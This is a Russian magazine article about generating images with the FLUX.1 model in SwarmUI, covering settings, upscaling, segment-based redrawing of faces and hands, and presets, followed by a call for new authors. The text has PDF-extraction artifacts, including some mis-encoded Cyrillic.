ae.safetensors репозитория

модели (Swarm)/Models/VAE
Все, на этом подготовка закончена — можно запускать SwarmUI командой

. И  снова придется немного подождать, пока скрипт

доустановит зависимости. Когда процесс завершится, откроется окно
с интерфейсом (придется еще подождать окончания загрузки движка).

launch-windows.bat

Для работы с Flux выбери модель (в правом нижнем углу), установи параметр
 в  единицу, а  параметр Steps (количество шагов)  — 20  для  обычных

моделей или 4 для версии «турбо».

CFG

INFO

Параметр CFG (Classifier Free Guidance) исполь‐
зуется для  управления балансом между точ‐
ностью следования текстовому запросу и  кре‐
ативностью конечного изображения. Это достига‐
ется путем совместного обучения условной
(cond) и  безусловной (uncond) диффузионных
моделей. В  свое время сама возможность
использовать негативные ключевые слова появи‐
лась в  виде хака  — запроса . По  изна‐
чальной задумке — латентный шум или «латентное
ничто». Чем выше параметр CFG, тем больше
расстояние между результатами моделей cond
и uncond и тем точнее модель следует текстовому
запросу. Избыточно высокие значения CFG при‐
водят к  «выгоранию» картинки из‑за роста кон‐
траста и  насыщенности, а  чрезмерно низкие  —
к  ее блеклости и  выцветанию. Если CFG равен
единице, модель uncond не  участвует в  вычис‐
лениях, что исключает возможность использовать
негативные ключевые слова, но и вдвое сокраща‐
ет время генерации.

uncond

Теперь можно вводить запрос в  поле Prompt (поле Negative Prompt оставь
пустым, модель пока не  поддерживает негативные ключевые слова) и  жать
большую кнопку Generate. Модель Flux — очень тяжелая; для начала генера‐
ции ее требуется загрузить в  память видеокарты. Это  может занять около
минуты, однако все последующие генерации будут стартовать моментально.
Собственно, на  этом всё, можно наслаждаться сгенерированными изоб‐
ражениями.

Шпаргалка: ограничения модели FLUX.1 (dev)

;• CFG=1

не поддерживаются негативные ключевые слова;•
не поддерживаются весовые коэффициенты токенов;•
пока не  поддерживаются лоры, текстовые инверсии, IP-Adapter,
ControlNet;

•

число шагов больше или равно 20 (обычная модель) или равно 4 (турбо).•

Продолжение статьи
→
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FLUX.1 И SWARMUI
ГЕНЕРИРУЕМ КАРТИНКИ НОВОЙ

ОТКРЫТОЙ МОДЕЛЬЮ

GEEK 
НАЧАЛО СТАТЬИ←

ДОПОЛНИТЕЛЬНЫЕ НАСТРОЙКИ

Когда тебе надоест генерировать квадраты  1024  на  1024, изменить соот‐
ношение сторон можно в настройке Resolution.

Обрати внимание: если для SDXL рекомендуют разрешение в 1 мегапиксель,
то для  модели Flux размеры картинки могут варьироваться в  широких пре‐
делах от  0,5  до  2  мегапикселей. Модель прекрасно работает, если ты уста‐
новишь «широкоформатное» разрешение 1920 ✕ 1080.

А если нужно еще  больше? Тоже не  проблема: в  SwarmUI есть аналог
Hires.fix. Он находится в разделе Refine/Upscale, где ты можешь выбрать нас‐
тройки для повышения разрешения.

Сразу откажись от  использования встроенных моделей из  списка Refiner
Upscale Method. В статье «

» я подробно описал хорошие модели для  повышения разрешения.
В  качестве универсальной модели порекомендую ; скачай ее
и  положи файл в  папку . Перезапускать
интерфейс нет необходимости, для  появления модели в  списке достаточно
кликнуть на  вкладке Models в  нижней части экрана и  нажать иконку «Обно‐
вить».

ReForge. Улучшаем картинки, генерируемые Stable
Diffusion

4xNomos8kDAT
(Swarm)\Models\upscale_models

Настройки Refine/Upscale можно использовать те, что на скриншоте выше:
0,2 для Refiner Control Percentage, коэффициент апскейла от 1,4 до 2 (в поле
Refiner Upscale). Остальные настройки пока не  трогай. В  будущем, если ты
решишь попробовать использовать модель SDXL для повышения разрешения
картинок, сгенерированных Flux, ты можешь выбрать другую базовую
модель — но не забудь в таком случае включить Refiner CFG Scale, установив
его в значение 7 (стандарт для моделей SDXL). Наконец, не забудь включить
основной переключатель справа от надписи Refine/Upscale.

В итоге должно получиться что‑то такое

Впрочем, достоинства SwarmUI не ограничиваются одним лишь повышенным
разрешением. В  интерфейсе есть почти всё, что нужно для  повседневной
работы, в том числе многие вещи, которые в WebUI/Forge реализованы через
расширения. Подробно об  этом можно почитать в  англоязычной 

; мы же рассмотрим самое интересное.
статье

на Civitai

РУКА-ЛИЦО

Традиционная проблема генеративных нейросетей (и Flux здесь, увы,
не  исключение)  — слабая прорисовка мелких объектов, таких как  кисти рук
и лица, если они не занимают большую часть изображения. В Fooocus мы уже
исправляли лица и  руки с  помощью инструмента inpaint; в  WebUI/Forge этот
процесс можно автоматизировать расширением ADetailer или uddetailer.

В SwarmUI проблема решается легко и изящно через 
, использующий . Прямо в текстовый запрос добавляются токены

следующего вида:

механизм сегмента‐
ции CLIPSeg

<segment:hand:0.3,0.
5> текстовое описание того, как должна выглядеть рука

<segment:face:0.3,0.
5> текстовое описание того, как должно выглядеть лицо


Здесь hand и  face  — объекты, которые мы хотим выделить и  отрисовать
в высоком разрешении; первый числовой параметр (0.3) — допустимая сте‐
пень мутаций (попробуй значения между 0.2 и 0.6, чем больше — тем силь‐
нее будут изменения; по  умолчанию  0.6, но  это многовато), а  последний
(0.5) — степень достоверности распознавания объекта (задашь 0 — и будет
выбрано все изображение целиком, 1  — не  будет выбрано ничего; 0.5  —
хорошее начальное значение).

Если бы не завышенное значение допустимых мутаций 0.6, можно было бы
и  вовсе остановиться на  упрощенном запросе вида .

Для удобства сегменты лучше располагать в отдельных строках; отбить стро‐
ку в запросе можно нажатием Shift-Enter.

<segment:hand>

После токена  идет текстовый запрос, в котором можно

описать желаемый объект. Если оставить запрос пустым, программа отрисует
объект, основываясь на исходном изображении.

<segmentation:>

INFO

При желании для  распознавания и  сегментации
можно использовать и  модели ,
а  для отрисовки объектов  — подключить отдель‐
ную модель.

архитектуры Yolo

Перед использованием сегментации обязательно включи две настройки
в  разделе Regional Prompting: Segment Mask Blur (по умолчанию  10)
и Segment Mask Grow (как правило, указывают значение от 4 до 16 пикселей).
Segment Mask Grow указывает количество пикселей, на которые будет «раз‐
двинута» маска распознанного объекта, а  включение Segment Mask Blur
поможет избежать резких контуров на границах объектов.

Пример использования:

a photo of a man petting a cat in a park in autumn, amber glow, 
falling leaves

<segment:cat> hd photo of a cat, beautiful, film grain, furry 
masterpiece

<segment:man's face> a close up photo of a man's face, beautiful, 
film grain, masterpiece


В процессе будут распознаны и детально отрисованы кот и мужское лицо.

Результат: пушистый кот и представительный мужчина.

А если запрос (с тем же сидом) составить таким же и заменить на фото кота
лисенком — но не в основном запросе, а в сегменте?

a photo of a man petting a cat in a park in autumn, amber glow, 
falling leaves

<segment:cat,0.8,0.5> hd photo of a fox, beautiful, film grain, 
furry masterpiece

<segment:man's face> a close up photo of a man's face, beautiful, 
film grain, masterpiece

<segment:hand> a close up photo of a man's hand petting a fox


Получилось! Мужчина тот же, а вместо кота — вполне узнаваемый лис.
Поиграв настройками Segment Mask Grow и  Segment Mask Blur, можно

добиться практически идеального результата (в примере выше я этого
не  делал, так что артефакты весьма заметны), при  этом основное изоб‐
ражение повторно генерироваться не будет — программа возьмет изначаль‐
ную картинку из кеша.

Зачем это  может понадобиться? Например, для  замены объекта, если
при  генерации использовать Init Image; впрочем, это  тема для  отдельной
беседы.

КОНФИГИ И ПРЕСЕТЫ

Серьезная проблема WebUI/Forge  — можно сохранить только один набор
настроек. Возможность сохранять разные конфиги в WebUI реализуется сто‐
ронними расширениями; ни  одно из  них не  совершенно, и  для сохранения
ряда настроек требуется вручную редактировать конфиг‑файл уже самого
расширения. В  SwarmUI сохранить настройки проще простого: достаточно
открыть вкладку Presets в  нижней части экрана и  нажать Create New Preset,
после чего в появившемся окне выбрать те настройки, которые будут восста‐
новлены при выборе данного пресета.

Интересная особенность: можно выбрать (и восстановить) несколько пре‐
сетов одновременно; полезно, например, если в одном пресете хранится тип
модели и настройки для нее, в другом — настройки апскейла и так далее.

Пожалуй, на этом сегодняшний рассказ о SwarmUI можно завершить, но в
интерфейсе есть еще много интересного. Если тебе понравится SwarmUI —
пользуйся! Для  относительно несложных вещей он вполне способен
заменить WebUI, а  для сложных никто не  мешает переключить интерфейс
в режим диаграммы Comfy Workflow с его полным контролем над процессом
или запустить WebUI.

ЖДЕМ STABLE DIFFUSION 3 ИЛИ НЕ ЖДЕМ?

Ждем! Разнообразие — это хорошо. Несмотря на огромный объем, у модели
Flux есть свои ограничения. Ее тяжело, дорого (в силу повышенных требова‐
ний к  видеопамяти) и  невыгодно (из‑за лицензии) обучать, поэтому про‐
изводных моделей на  основе Flux, скорее всего, будет ограниченное
количество — если они вообще появятся, в чем разработчики Stability AI 

.
пуб‐

лично усомнились
У разработчиков Flux свое понимание того, что является «безопасным»:

по  их мнению, женская грудь большой опасности для  жизни на  планете
не представляет, а вот дипфейки — вещь неприятная; соответственно, из тек‐
стового декодера были удалены имена актрис и  многих медийных персон.
Кроме того, есть и несколько чисто технических ограничений (возможно, вре‐
менных):  должен быть равен единице, а  негативные ключевые слова

в модели FLUX.1 [dev] не поддерживаются. Наконец, у Flux, по крайней мере
в  ее первой версии, не  слишком хорошо обстоят дела с  пониманием изоб‐
разительных стилей, художественных направлений и стилизации под творчес‐
тво конкретных художников, включая классиков.

CFG

Для сравнения  — три картинки, один и  тот же запрос (стимпанк, сепия,
робопаук, старое фото).

Flux

Дальше  — работа базовой модели Stable Cascade, незаслуженно забытой
побочной ветки Stable Diffusion.

Stable Cascade

Наконец, такой результат выдала одна из  современных моделей на  основе
SDXL — результат года работы сообщества, «допилившего» базовую модель
SDXL до вполне приличного состояния.

SDXL

ВЫВОДЫ

Новая модель хороша! Внезапно появившись из  ниоткуда, Flux пополнила
ряды моделей нового поколения, превзойдя AuraFlow, Hunyuan-DiT, Kolors
и  PixArt. Основной вопрос, который волнует сообщество пользователей,  —
возможно ли обучение новой модели, и  если возможно, то какие ресурсы
для этого потребуются?

Если обучение окажется возможным, то у Flux появится шанс занять нишу,
которая прочно оккупирована моделями на базе SDXL. Если же обучение ока‐
жется чрезмерно трудоемким или дорогостоящим, то рано или поздно (ско‐
рее  — рано, учитывая скорость развития технологий ИИ) вперед вырвется
одна из альтернативных моделей.
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https://www.reddit.com/r/StableDiffusion/comments/1ej4spi/sai_knows_sd31_medium_can_still_trounce_flux_if/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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